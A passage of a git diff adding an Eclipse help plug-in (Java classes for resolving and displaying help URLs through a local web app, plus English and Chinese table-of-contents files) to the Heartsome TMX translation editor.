//$NON-NLS-1$ + return true; + } + } + return false; + } + + + private boolean insideModalParent(Display display) { + return isDisplayModal(display.getActiveShell()); + } + + public static boolean isDisplayModal(Shell activeShell) { + while (activeShell != null) { + if ((activeShell.getStyle() & (SWT.APPLICATION_MODAL | SWT.PRIMARY_MODAL | SWT.SYSTEM_MODAL)) > 0) + return true; + activeShell = (Shell) activeShell.getParent(); + } + return false; + } +} diff --git a/te/net.heartsome.cat.te.ui.help/src/net/heartsome/cat/te/ui/help/Activator.java b/te/net.heartsome.cat.te.ui.help/src/net/heartsome/cat/te/ui/help/Activator.java new file mode 100644 index 0000000..700b433 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/src/net/heartsome/cat/te/ui/help/Activator.java @@ -0,0 +1,50 @@ +package net.heartsome.cat.te.ui.help; + +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.te.ui.help"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + +} diff --git a/te/net.heartsome.cat.te.ui.help/src/net/heartsome/cat/te/ui/help/SelfBaseHelpSystem.java b/te/net.heartsome.cat.te.ui.help/src/net/heartsome/cat/te/ui/help/SelfBaseHelpSystem.java new file mode 100644 index 0000000..44c9b59 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/src/net/heartsome/cat/te/ui/help/SelfBaseHelpSystem.java @@ -0,0 +1,345 @@ +package net.heartsome.cat.te.ui.help; + +import java.net.MalformedURLException; +import java.net.URL; + +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IProduct; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Platform; +import org.eclipse.core.runtime.Status; +import org.eclipse.help.HelpSystem; +import org.eclipse.help.ILiveHelpAction; +import org.eclipse.help.browser.IBrowser; +import org.eclipse.help.internal.HelpPlugin; +import org.eclipse.help.internal.base.BookmarkManager; +import org.eclipse.help.internal.base.HelpBasePlugin; +import org.eclipse.help.internal.base.HelpBaseResources; +import org.eclipse.help.internal.base.HelpProvider; +import org.eclipse.help.internal.base.util.IErrorUtil; +import org.eclipse.help.internal.browser.BrowserManager; +import org.eclipse.help.internal.search.LocalSearchManager; +import org.eclipse.help.internal.search.SearchManager; +import org.eclipse.help.internal.server.WebappManager; +import org.eclipse.help.internal.workingset.WorkingSetManager; +import org.osgi.framework.Bundle; + +/** + * 引自 BaseHelpSystem ç±» + * @author robert + */ +@SuppressWarnings("restriction") +public class SelfBaseHelpSystem { + + private static final SelfBaseHelpSystem instance = new SelfBaseHelpSystem(); + + public static final String BOOKMARKS = "bookmarks"; //$NON-NLS-1$ + public static final String WORKING_SETS = "workingSets"; //$NON-NLS-1$ + public static final String WORKING_SET = "workingSet"; //$NON-NLS-1$ + + public static final int MODE_WORKBENCH = 0; + public static final int MODE_INFOCENTER = 1; + public static final int MODE_STANDALONE = 2; + + private int mode = MODE_WORKBENCH; + + private SearchManager searchManager; + private WorkingSetManager workingSetManager; + private BookmarkManager bookmarkManager; + + private boolean webappStarted = false; + private boolean webappRunning = false; + private IErrorUtil defaultErrorMessenger; + private IBrowser browser; + private IBrowser internalBrowser; + private SelfHelpDisplay helpDisplay = null; + + private SelfBaseHelpSystem() { + super(); + } + + public static SelfBaseHelpSystem getInstance() { + return instance; + } + + /* + * Returns the singleton search manager, which is the main interface to the + * help system's search capability. + */ + public static SearchManager getSearchManager() { + if (getInstance().searchManager == null) { + synchronized (SelfBaseHelpSystem.class) { + if (getInstance().searchManager == null) { + getInstance().searchManager = new SearchManager(); + } + } + } + return getInstance().searchManager; + } + + /* + * Returns the local search manager which deals only with the local content + * and is called by the global search manager. + */ + public static LocalSearchManager getLocalSearchManager() { + return getSearchManager().getLocalSearchManager(); + } + + public static synchronized WorkingSetManager getWorkingSetManager() { + if (getInstance().workingSetManager == null) { + getInstance().workingSetManager = new WorkingSetManager(); + } + return getInstance().workingSetManager; + } + + public static synchronized BookmarkManager getBookmarkManager() { + if (getInstance().bookmarkManager == null) { + getInstance().bookmarkManager = new BookmarkManager(); + } + return getInstance().bookmarkManager; + } + + /* + * Allows Help UI to plug-in a soft adapter that delegates all the work to + * the workbench browser support. + */ + public synchronized void setBrowserInstance(IBrowser browser) { + this.browser = browser; + } + + public static synchronized IBrowser getHelpBrowser(boolean forceExternal) { + if (!forceExternal && !BrowserManager.getInstance().isAlwaysUseExternal()) { + if (getInstance().internalBrowser == null) { + getInstance().internalBrowser = BrowserManager.getInstance().createBrowser(false); + } + return getInstance().internalBrowser; + } + if (getInstance().browser == null) { + getInstance().browser = BrowserManager.getInstance().createBrowser(true); + } + return getInstance().browser; + } + + public static synchronized SelfHelpDisplay getHelpDisplay() { + if (getInstance().helpDisplay == null) + getInstance().helpDisplay = new SelfHelpDisplay(); + return getInstance().helpDisplay; + } + + /* + * Shuts down the BaseHelpSystem. + */ + public static void shutdown() throws CoreException { + if (getInstance().bookmarkManager != null) { + getInstance().bookmarkManager.close(); + getInstance().bookmarkManager = null; + } + if (getInstance().searchManager != null) { + getInstance().searchManager.close(); + getInstance().searchManager = null; + } + if (getInstance().webappStarted) { + // stop the web app + WebappManager.stop("help"); //$NON-NLS-1$ + } + } + + /** + * Called by Platform after loading the plugin + */ + public static void startup() { + try { + setDefaultErrorUtil(new IErrorUtil() { + public void displayError(String msg) { + System.out.println(msg); + } + public void displayError(String msg, Thread uiThread) { + System.out.println(msg); + } + }); + } + catch (Exception e) { + HelpBasePlugin.getDefault().getLog().log( + new Status(IStatus.ERROR, HelpBasePlugin.PLUGIN_ID, 0, + "Error launching help.", e)); //$NON-NLS-1$ + } + + /* + * Assigns the provider responsible for providing help + * document content. + */ + HelpPlugin.getDefault().setHelpProvider(new HelpProvider()); + } + + public static boolean ensureWebappRunning() { + if (!getInstance().webappStarted) { + getInstance().webappStarted = true; + try { + // start the help web app + WebappManager.start("help"); //$NON-NLS-1$ + } catch (Exception e) { + HelpBasePlugin.logError(HelpBaseResources.HelpWebappNotStarted, e); + return false; + } + getInstance().webappRunning = true; + } + return getInstance().webappRunning; + } + + public static URL resolve(String href, boolean documentOnly) { + String url = null; + if (href == null || href.indexOf("://") != -1 //$NON-NLS-1$ + || isFileProtocol(href)) + url = href; + else { + SelfBaseHelpSystem.ensureWebappRunning(); + String base = getBase(documentOnly); + if (href.startsWith("/")) //$NON-NLS-1$ + url = base + href; + else + url = base + "/" + href; //$NON-NLS-1$ + } + try { + return new URL(url); + } catch (MalformedURLException e) { + return null; + } + } + + public static URL resolve(String href, String servlet) { + String url = null; + if (href == null || href.indexOf("://") != -1 //$NON-NLS-1$ + || isFileProtocol(href)) { + url = href; + } + else { + SelfBaseHelpSystem.ensureWebappRunning(); + String base = getBase(servlet); + if (href.startsWith("/")) { //$NON-NLS-1$ + url = base + href; + } + else { + url = base + "/" + href; //$NON-NLS-1$ + } + } + try { + return new URL(url); + } + catch (MalformedURLException e) { + return null; + } + } + + private static boolean isFileProtocol(String href) { + // Test for file: or /file: + int index = href.indexOf("file:"); //$NON-NLS-1$ + return ( index == 0 || (index == 1 && href.charAt(0) == '/' )); + } + + public static String unresolve(URL url) { + return unresolve(url.toString()); + } + + public static String unresolve(String href) { + String[] baseVariants = { getBase("/help/topic"), //$NON-NLS-1$ + getBase("/help/nftopic"), //$NON-NLS-1$ + getBase("/help/ntopic"), //$NON-NLS-1$ + getBase("/help/rtopic") }; //$NON-NLS-1$ + for (int i = 0; i < baseVariants.length; i++) { + if (href.startsWith(baseVariants[i])) { + return href.substring(baseVariants[i].length()); + } + } + return href; + } + + private static String getBase(boolean documentOnly) { + String servlet = documentOnly ? "/help/nftopic" : "/help/topic";//$NON-NLS-1$ //$NON-NLS-2$ + return getBase(servlet); + } + + private static String getBase(String servlet) { + return "http://" //$NON-NLS-1$ + + WebappManager.getHost() + ":" //$NON-NLS-1$ + + WebappManager.getPort() + servlet; + } + + /* + * Returns the mode of operation. + */ + public static int getMode() { + return getInstance().mode; + } + + /* + * Sets the mode of operation. + */ + public static void setMode(int mode) { + getInstance().mode = mode; + HelpSystem.setShared(mode == MODE_INFOCENTER); + } + + /* + * Sets the error messenger + */ + public static void setDefaultErrorUtil(IErrorUtil em) { + getInstance().defaultErrorMessenger = em; + } + + /* + * Returns the default error messenger. When no UI is present, all errors + * are sent to System.out. + */ + public static IErrorUtil getDefaultErrorUtil() { + return getInstance().defaultErrorMessenger; + } + + /** + * Obtains name of the Eclipse product + * + * @return String + */ + public static String getProductName() { + IProduct product = Platform.getProduct(); + if (product == null) { + return ""; //$NON-NLS-1$ + } + String name = product.getName(); + return name == null ? "" : name; //$NON-NLS-1$ + } + + public static void runLiveHelp(String pluginID, String className, String arg) { + Bundle bundle = Platform.getBundle(pluginID); + if (bundle == null) { + return; + } + + try { + Class c = bundle.loadClass(className); + Object o = c.newInstance(); + //Runnable runnable = null; + if (o != null && o instanceof ILiveHelpAction) { + ILiveHelpAction helpExt = (ILiveHelpAction) o; + if (arg != null) + helpExt.setInitializationString(arg); + Thread runnableLiveHelp = new Thread(helpExt); + runnableLiveHelp.setDaemon(true); + runnableLiveHelp.start(); + } + } catch (ThreadDeath td) { + throw td; + } catch (Exception e) { + } + } + + /** + * Called when index.jsp is opened, check to see if we index.jsp is running outside out server in which + * case set the mode to infocenter + */ + public static void checkMode() { + if (!getInstance().webappStarted) { + setMode(MODE_INFOCENTER); + } + } + +} diff --git a/te/net.heartsome.cat.te.ui.help/src/net/heartsome/cat/te/ui/help/SelfDisplayUtils.java b/te/net.heartsome.cat.te.ui.help/src/net/heartsome/cat/te/ui/help/SelfDisplayUtils.java new file mode 100644 index 0000000..d88c85e --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/src/net/heartsome/cat/te/ui/help/SelfDisplayUtils.java @@ -0,0 +1,35 @@ +package net.heartsome.cat.te.ui.help; + +import java.lang.reflect.Method; + +import org.eclipse.core.runtime.Platform; +import org.osgi.framework.Bundle; + +public class SelfDisplayUtils { + private static final String HELP_UI_PLUGIN_ID = "org.eclipse.help.ui"; //$NON-NLS-1$ + private static final String LOOP_CLASS_NAME = "org.eclipse.help.ui.internal.HelpUIEventLoop"; //$NON-NLS-1$ + + static void runUI() { + invoke("run"); //$NON-NLS-1$ + } + static void wakeupUI() { + invoke("wakeup"); //$NON-NLS-1$ + } + + static void waitForDisplay() { + invoke("waitFor"); //$NON-NLS-1$ + } + + private static void invoke(String method) { + try { + Bundle bundle = Platform.getBundle(HELP_UI_PLUGIN_ID); + if (bundle == null) { + return; + } + Class c = bundle.loadClass(LOOP_CLASS_NAME); + Method m = c.getMethod(method, new Class[]{}); + m.invoke(null, new Object[]{}); + } catch (Exception e) { + } + } +} diff --git a/te/net.heartsome.cat.te.ui.help/src/net/heartsome/cat/te/ui/help/SelfHelpDisplay.java b/te/net.heartsome.cat.te.ui.help/src/net/heartsome/cat/te/ui/help/SelfHelpDisplay.java new file mode 100644 index 0000000..561b891 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/src/net/heartsome/cat/te/ui/help/SelfHelpDisplay.java @@ -0,0 +1,312 @@ +package net.heartsome.cat.te.ui.help; + +import java.io.UnsupportedEncodingException; +import java.net.URLEncoder; +import java.text.MessageFormat; + +import net.heartsome.cat.common.util.CommonFunction; + +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IConfigurationElement; +import org.eclipse.core.runtime.IExtension; +import org.eclipse.core.runtime.IExtensionPoint; +import org.eclipse.core.runtime.Platform; +import org.eclipse.help.IContext; +import org.eclipse.help.IHelpResource; +import org.eclipse.help.base.AbstractHelpDisplay; +import org.eclipse.help.internal.base.BaseHelpSystem; +import org.eclipse.help.internal.base.HelpBasePlugin; +import org.eclipse.help.internal.base.HelpBaseResources; +import org.eclipse.help.internal.server.WebappManager; +import org.eclipse.osgi.util.NLS; +import org.eclipse.swt.program.Program; + +@SuppressWarnings("restriction") +public class SelfHelpDisplay { + + private String hrefOpenedFromHelpDisplay; + private static AbstractHelpDisplay helpDisplay; + private static final String HELP_DISPLAY_EXTENSION_ID = "org.eclipse.help.base.display"; //$NON-NLS-1$ + private static final String HELP_DISPLAY_CLASS_ATTRIBUTE = "class"; //$NON-NLS-1$ + + private static class DefaultDisplay extends AbstractHelpDisplay { + + public String getHelpHome(String hostname, int port, String tab) { + String helpURL = getFramesetURL(); + if (tab != null) { + helpURL += "?tab=" + tab; //$NON-NLS-1$ + } + return helpURL; + } + + public String getHelpForTopic(String topic, String hostname, int port) { + return getFramesetIndexURL() + "?topic=" + topic; //$NON-NLS-1$ + } + } + + /** + * Constructor. + */ + public SelfHelpDisplay() { + super(); + } + + /** + * Displays help. + */ + public void displayHelp(boolean forceExternal) { + displayHelpURL(null, forceExternal); + } + + /** + * Displays a help resource specified as a url. + *
      + *
    • a URL in a format that can be returned by + * {@link org.eclipse.help.IHelpResource#getHref() IHelpResource.getHref()} + *
    • a URL query in the format format + * key=value&key=value ... The valid keys are: "tab", "toc", + * "topic", "contextId". For example, + * toc="/myplugin/mytoc.xml"&topic="/myplugin/references/myclass.html" + * is valid. + *
    + */ + public void displayHelpResource(String href, boolean forceExternal) { + setHrefOpenedFromHelpDisplay(href); + if (href.startsWith("/file")) { //$NON-NLS-1$ + displayHelpResource(href.substring(1), forceExternal); + return; + } + if (href != null && (href.startsWith("tab=") //$NON-NLS-1$ + || href.startsWith("toc=") //$NON-NLS-1$ + || href.startsWith("topic=") //$NON-NLS-1$ + || href.startsWith("contextId="))) { //$NON-NLS-1$ // assume it is a query string + displayHelpURL(href, forceExternal); + } else { // assume this is a topic + if (getNoframesURL(href) == null) { + try { + displayHelpURL( + "topic=" + URLEncoder.encode(href, "UTF-8"), forceExternal); //$NON-NLS-1$ //$NON-NLS-2$ + } catch (UnsupportedEncodingException uee) { + } + } else if (href.startsWith("jar:") || href.startsWith("platform:")) { //$NON-NLS-1$ //$NON-NLS-2$ + // topic from a jar/workspace to display without frames + displayHelpURL( + getBaseURL() + "nftopic/" + getNoframesURL(href), true); //$NON-NLS-1$ + } else { + displayHelpURL(getNoframesURL(href), true); + } + } + } + + /** + * Display help for the a given topic and related topics. + * + * @param context + * context for which related topics will be displayed + * @param topic + * related topic to be selected + */ + public void displayHelp(IContext context, IHelpResource topic, + boolean forceExternal) { + if (context == null || topic == null || topic.getHref() == null) + return; + String topicURL = getTopicURL(topic.getHref()); + displayHelpResource(topicURL, false); + /* + * links tab removed 11/2007, Bug 120947 + if (getNoframesURL(topicURL) == null) { + try { + String url = "tab=links" //$NON-NLS-1$ + + "&contextId=" //$NON-NLS-1$ + + URLEncoder.encode(getContextID(context), "UTF-8") //$NON-NLS-1$ + + "&topic=" //$NON-NLS-1$ + + URLEncoder.encode(topicURL, "UTF-8"); //$NON-NLS-1$ + displayHelpURL(url, forceExternal); + } catch (UnsupportedEncodingException uee) { + } + + } else if (topicURL.startsWith("jar:file:")) { //$NON-NLS-1$ + // topic from a jar to display without frames + displayHelpURL( + getBaseURL() + "nftopic/" + getNoframesURL(topicURL), true); //$NON-NLS-1$ + } else { + displayHelpURL(getNoframesURL(topicURL), true); + } + */ + } + + /** + * Display help to search view for given query and selected topic. + * + * @param searchQuery + * search query in URL format key=value&key=value + * @param topic + * selected from the search results + */ + public void displaySearch(String searchQuery, String topic, + boolean forceExternal) { + if (searchQuery == null || topic == null) + return; + if (getNoframesURL(topic) == null) { + try { + String url = "tab=search&" //$NON-NLS-1$ + + searchQuery + "&topic=" //$NON-NLS-1$ + + URLEncoder.encode(getTopicURL(topic), "UTF-8"); //$NON-NLS-1$ + displayHelpURL(url, forceExternal); + } catch (UnsupportedEncodingException uee) { + } + + } else { + displayHelpURL(getNoframesURL(topic), true); + } + } + + /** + * Displays the specified url. The url can contain query parameters to + * identify how help displays the document + */ + private void displayHelpURL(String helpURL, boolean forceExternal) { + if (!BaseHelpSystem.ensureWebappRunning()) { + return; + } + if (BaseHelpSystem.getMode() == BaseHelpSystem.MODE_STANDALONE) { + // wait for Display to be created + SelfDisplayUtils.waitForDisplay(); + } + + try { + if (helpURL == null || helpURL.length() == 0) { + helpURL = getHelpDisplay().getHelpHome( WebappManager.getHost(), WebappManager.getPort(), null); + } else if (helpURL.startsWith("tab=")) { //$NON-NLS-1$ + String tab = helpURL.substring("tab=".length()); //$NON-NLS-1$ + helpURL = getHelpDisplay().getHelpHome( WebappManager.getHost(), WebappManager.getPort(), tab); + } else if (helpURL.startsWith("topic=")) { //$NON-NLS-1$ + String topic = helpURL.substring("topic=".length()); //$NON-NLS-1$ + helpURL = getHelpDisplay().getHelpForTopic( topic, WebappManager.getHost(), WebappManager.getPort()); + } + + + String systemname = System.getProperty("os.name").toUpperCase(); + if (systemname.contains("LINUX") || systemname.contains("MAC OS X")) { + Program.launch(helpURL); + }else if (systemname.contains("WINDOW")) { + BaseHelpSystem.getHelpBrowser(forceExternal).displayURL(helpURL); + } + + } catch (Exception e) { + HelpBasePlugin + .logError( + "An exception occurred while launching help. Check the log at " + Platform.getLogFileLocation().toOSString(), e); //$NON-NLS-1$ + BaseHelpSystem.getDefaultErrorUtil() + .displayError( + NLS.bind(HelpBaseResources.HelpDisplay_exceptionMessage, Platform.getLogFileLocation().toOSString())); + } + } + + /* + private String getContextID(IContext context) { + if (context instanceof Context) { + return ((Context)context).getId(); + } + return HelpPlugin.getContextManager().addContext(context); + } + */ + + private static String getBaseURL() { + return "http://" //$NON-NLS-1$ + + WebappManager.getHost() + ":" //$NON-NLS-1$ + + WebappManager.getPort() + "/help/"; //$NON-NLS-1$ + } + + private static String getFramesetURL() { + String tocPath = MessageFormat.format("topic/net.heartsome.cat.te.ui.help/html/{0}/ch01.html", CommonFunction.getSystemLanguage()); + return getBaseURL() + tocPath; //$NON-NLS-1$ + } + + private static String getFramesetIndexURL(){ + return getBaseURL() + "index.jsp"; //$NON-NLS-1$ + } + + private String getTopicURL(String topic) { + if (topic == null) + return null; + if (topic.startsWith("../")) //$NON-NLS-1$ + topic = topic.substring(2); + /* + * if (topic.startsWith("/")) { String base = "http://" + + * AppServer.getHost() + ":" + AppServer.getPort(); base += + * "/help/content/help:"; topic = base + topic; } + */ + return topic; + } + + /** + * If href contains URL parameter noframes=true return href with that + * paramter removed, otherwise returns null + * + * @param href + * @return String or null + */ + private String getNoframesURL(String href) { + if (href == null) { + return null; + } + int ix = href.indexOf("?noframes=true&"); //$NON-NLS-1$ + if (ix >= 0) { + //remove noframes=true& + return href.substring(0, ix + 1) + + href.substring(ix + "?noframes=true&".length()); //$NON-NLS-1$ + + } + ix = href.indexOf("noframes=true"); //$NON-NLS-1$ + if (ix > 0) { + //remove &noframes=true + return href.substring(0, ix - 1) + + href.substring(ix + "noframes=true".length()); //$NON-NLS-1$ + } + // can be displayed in frames + return null; + } + + public String getHrefOpenedFromHelpDisplay() { + return hrefOpenedFromHelpDisplay; + } + + public void setHrefOpenedFromHelpDisplay(String hrefOpenedFromHelpDisplay) { + this.hrefOpenedFromHelpDisplay = hrefOpenedFromHelpDisplay; + } + + private static void createHelpDisplay() { + IExtensionPoint point = Platform.getExtensionRegistry() + .getExtensionPoint(HELP_DISPLAY_EXTENSION_ID ); + if (point != null) { + IExtension[] extensions = point.getExtensions(); + if (extensions.length != 0) { + // We need to pick up the non-default configuration + IConfigurationElement[] elements = extensions[0] + .getConfigurationElements(); + if (elements.length == 0) + return; + IConfigurationElement displayElement = elements[0]; + // Instantiate the help display + try { + helpDisplay = (AbstractHelpDisplay) (displayElement + .createExecutableExtension(HELP_DISPLAY_CLASS_ATTRIBUTE)); + } catch (CoreException e) { + HelpBasePlugin.logStatus(e.getStatus()); + } + } + } + } + + private static AbstractHelpDisplay getHelpDisplay() { + if (helpDisplay == null) { + createHelpDisplay(); + } + if (helpDisplay == null) { + helpDisplay = new DefaultDisplay(); + } + return helpDisplay; + } + +} diff --git a/te/net.heartsome.cat.te.ui.help/src/net/heartsome/cat/te/ui/help/SelfHelpSystem.java b/te/net.heartsome.cat.te.ui.help/src/net/heartsome/cat/te/ui/help/SelfHelpSystem.java new file mode 100644 index 0000000..4bd6fc2 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/src/net/heartsome/cat/te/ui/help/SelfHelpSystem.java @@ -0,0 +1,151 @@ +package net.heartsome.cat.te.ui.help; + +import java.io.InputStream; + +import org.eclipse.core.runtime.Platform; +import org.eclipse.help.IContext; +import org.eclipse.help.IIndex; +import org.eclipse.help.IToc; +import org.eclipse.help.internal.HelpPlugin; +import org.eclipse.help.internal.HelpPlugin.IHelpProvider; + +@SuppressWarnings("restriction") +public class SelfHelpSystem { + + private static boolean fShared; + + /** + * This class is not intended to be instantiated. + */ + private SelfHelpSystem() { + // do nothing + } + + /** + * Computes and returns context information for the given context id + * for the platform's current locale. + * + * @param contextId the context id, e.g. "org.my.plugin.my_id" + * @return the context, or null if none + */ + public static IContext getContext(String contextId) { + return HelpPlugin.getContextManager().getContext(contextId, Platform.getNL()); + } + + /** + * Computes and returns context information for the given context id + * and locale. + * + * @param contextId the context id, e.g. "org.my.plugin.my_id" + * @param locale the locale being requested, e.g. "en_US" + * @return the context, or null if none + */ + public static IContext getContext(String contextId, String locale) { + return HelpPlugin.getContextManager().getContext(contextId, locale); + } + + /** + * Returns the list of all integrated tables of contents available. Each + * entry corresponds of a different help "book". + * + * @return an array of TOC's + */ + public static IToc[] getTocs() { + return HelpPlugin.getTocManager().getTocs(Platform.getNL()); + } + + /** + * Returns the keyword index available in the help system. + * + * @return the keyword index + * @since 3.2 + */ + public static IIndex getIndex() { + return HelpPlugin.getIndexManager().getIndex(Platform.getNL()); + } + + /** + * Returns an open input stream on the contents of the specified help + * resource in the platform's current locale. The client is responsible for + * closing the stream when finished. + * + * @param href + * the URL (as a string) of the help resource + *

    + * Valid href are as described in + * {@link org.eclipse.help.IHelpResource#getHref IHelpResource.getHref} + *

    + * @return an input stream containing the contents of the help resource, or + * null if the help resource could not be found and + * opened + */ + public static InputStream getHelpContent(String href) { + return getHelpContent(href, Platform.getNL()); + } + + /** + * Returns an open input stream on the contents of the specified help + * resource for the speficied locale. The client is responsible for closing + * the stream when finished. + * + * @param href + * the URL (as a string) of the help resource + *

    + * Valid href are as described in + * {@link org.eclipse.help.IHelpResource#getHref IHelpResource.getHref} + *

    + * @param locale the locale code, e.g. en_US + * @return an input stream containing the contents of the help resource, or + * null if the help resource could not be found and + * opened + * @since 3.0 + */ + public static InputStream getHelpContent(String href, String locale) { + IHelpProvider provider = HelpPlugin.getDefault().getHelpProvider(); + if (provider != null) { + return provider.getHelpContent(href, locale); + } + return null; + } + + /** + * Returns whether or not the help system, in its current mode of operation, + * can be shared by multiple (potentially remote) users. This is a hint to + * the help system implementation that it should not perform operations that + * are specific to the help system's local environment. + * + *

    + * For example, when true, the default dynamic content producer + * implementation will not perform any filtering based on local system + * properties such as operating system or activities. + *

    + *

    + * If you are providing your own help implementation that is shared, you + * must notify the platform on startup by calling setShared(true). + *

    + * + * @return whether or not the help system can be shared by multiple users + * @since 3.2 + */ + public static boolean isShared() { + return fShared; + } + + /** + * Sets whether or not the help system, in its current mode of operation, + * can be shared by multiple (potentially remote) users. This is a hint to + * the help system implementation that it should not perform operations that + * are specific to the help system's local environment. + * + *

    + * By default the help system is flagged as not shared. If you are providing + * your own help implementation that is shared, you must call this on startup + * with the parameter true. + *

    + * + * @param shared whether or not the help system can be shared by multiple users + */ + public static void setShared(boolean shared) { + fShared = shared; + } +} diff --git a/te/net.heartsome.cat.te.ui.help/toc/en/QAToc.xml b/te/net.heartsome.cat.te.ui.help/toc/en/QAToc.xml new file mode 100644 index 0000000..5aea9e5 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/toc/en/QAToc.xml @@ -0,0 +1,10 @@ + + + + + + + + + + diff --git a/te/net.heartsome.cat.te.ui.help/toc/en/aboutToc.xml b/te/net.heartsome.cat.te.ui.help/toc/en/aboutToc.xml new file mode 100644 index 0000000..74510ae --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/toc/en/aboutToc.xml @@ -0,0 +1,12 @@ + + + + + + + + + + + + diff --git a/te/net.heartsome.cat.te.ui.help/toc/en/copyrigthToc.xml b/te/net.heartsome.cat.te.ui.help/toc/en/copyrigthToc.xml new file mode 100644 index 0000000..e39d8f1 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/toc/en/copyrigthToc.xml @@ -0,0 +1,6 @@ + + + + + + diff --git a/te/net.heartsome.cat.te.ui.help/toc/en/editTMToc.xml b/te/net.heartsome.cat.te.ui.help/toc/en/editTMToc.xml new file mode 100644 index 0000000..c1c1a50 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/toc/en/editTMToc.xml @@ -0,0 +1,18 @@ + + + + + + + + + + + + + + + + + + diff --git a/te/net.heartsome.cat.te.ui.help/toc/en/editTmxToc.xml b/te/net.heartsome.cat.te.ui.help/toc/en/editTmxToc.xml new file mode 100644 index 0000000..9b6ab46 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/toc/en/editTmxToc.xml @@ -0,0 +1,29 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/te/net.heartsome.cat.te.ui.help/toc/en/indexToc.xml b/te/net.heartsome.cat.te.ui.help/toc/en/indexToc.xml new file mode 100644 index 0000000..84af363 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/toc/en/indexToc.xml @@ -0,0 +1,6 @@ + + + + + + diff --git a/te/net.heartsome.cat.te.ui.help/toc/en/newFetureToc.xml b/te/net.heartsome.cat.te.ui.help/toc/en/newFetureToc.xml new file mode 100644 index 0000000..56c778e --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/toc/en/newFetureToc.xml @@ -0,0 +1,7 @@ + + + + + + + diff --git a/te/net.heartsome.cat.te.ui.help/toc/en/searchAndFilterToc.xml b/te/net.heartsome.cat.te.ui.help/toc/en/searchAndFilterToc.xml new file mode 100644 index 0000000..3867b74 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/toc/en/searchAndFilterToc.xml @@ -0,0 +1,10 @@ + + + + + + + + + + diff --git a/te/net.heartsome.cat.te.ui.help/toc/en/termTableToc.xml b/te/net.heartsome.cat.te.ui.help/toc/en/termTableToc.xml new file mode 100644 index 0000000..4b520a1 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/toc/en/termTableToc.xml @@ -0,0 +1,7 @@ + + + + + + + diff --git a/te/net.heartsome.cat.te.ui.help/toc/en/toolsDesToc.xml b/te/net.heartsome.cat.te.ui.help/toc/en/toolsDesToc.xml new file mode 100644 index 0000000..78ad735 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/toc/en/toolsDesToc.xml @@ -0,0 +1,10 @@ + + + + + + + + + + diff --git a/te/net.heartsome.cat.te.ui.help/toc/en/useTmxEditorToc.xml b/te/net.heartsome.cat.te.ui.help/toc/en/useTmxEditorToc.xml new file mode 100644 index 0000000..3ac254e --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/toc/en/useTmxEditorToc.xml @@ -0,0 +1,27 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/te/net.heartsome.cat.te.ui.help/toc/zh/QAToc.xml b/te/net.heartsome.cat.te.ui.help/toc/zh/QAToc.xml new file mode 100644 index 0000000..6d627c3 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/toc/zh/QAToc.xml @@ -0,0 +1,10 @@ + + + + + + + + + + diff --git a/te/net.heartsome.cat.te.ui.help/toc/zh/aboutToc.xml b/te/net.heartsome.cat.te.ui.help/toc/zh/aboutToc.xml new file mode 100644 index 0000000..4a4f3d6 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/toc/zh/aboutToc.xml @@ -0,0 +1,12 @@ + + + + + + + + + + + + diff --git a/te/net.heartsome.cat.te.ui.help/toc/zh/copyrigthToc.xml b/te/net.heartsome.cat.te.ui.help/toc/zh/copyrigthToc.xml new file mode 100644 index 0000000..e20039b --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/toc/zh/copyrigthToc.xml @@ -0,0 +1,6 @@ + + + + + + diff --git a/te/net.heartsome.cat.te.ui.help/toc/zh/editTMToc.xml b/te/net.heartsome.cat.te.ui.help/toc/zh/editTMToc.xml new file mode 100644 index 0000000..c3a0da4 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/toc/zh/editTMToc.xml @@ -0,0 +1,18 @@ + + + + + + + + + + + + + + + + + + diff --git a/te/net.heartsome.cat.te.ui.help/toc/zh/editTmxToc.xml b/te/net.heartsome.cat.te.ui.help/toc/zh/editTmxToc.xml new file mode 100644 index 0000000..520b3c7 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/toc/zh/editTmxToc.xml @@ -0,0 +1,29 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/te/net.heartsome.cat.te.ui.help/toc/zh/indexToc.xml b/te/net.heartsome.cat.te.ui.help/toc/zh/indexToc.xml new file mode 100644 index 0000000..6a77452 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/toc/zh/indexToc.xml @@ -0,0 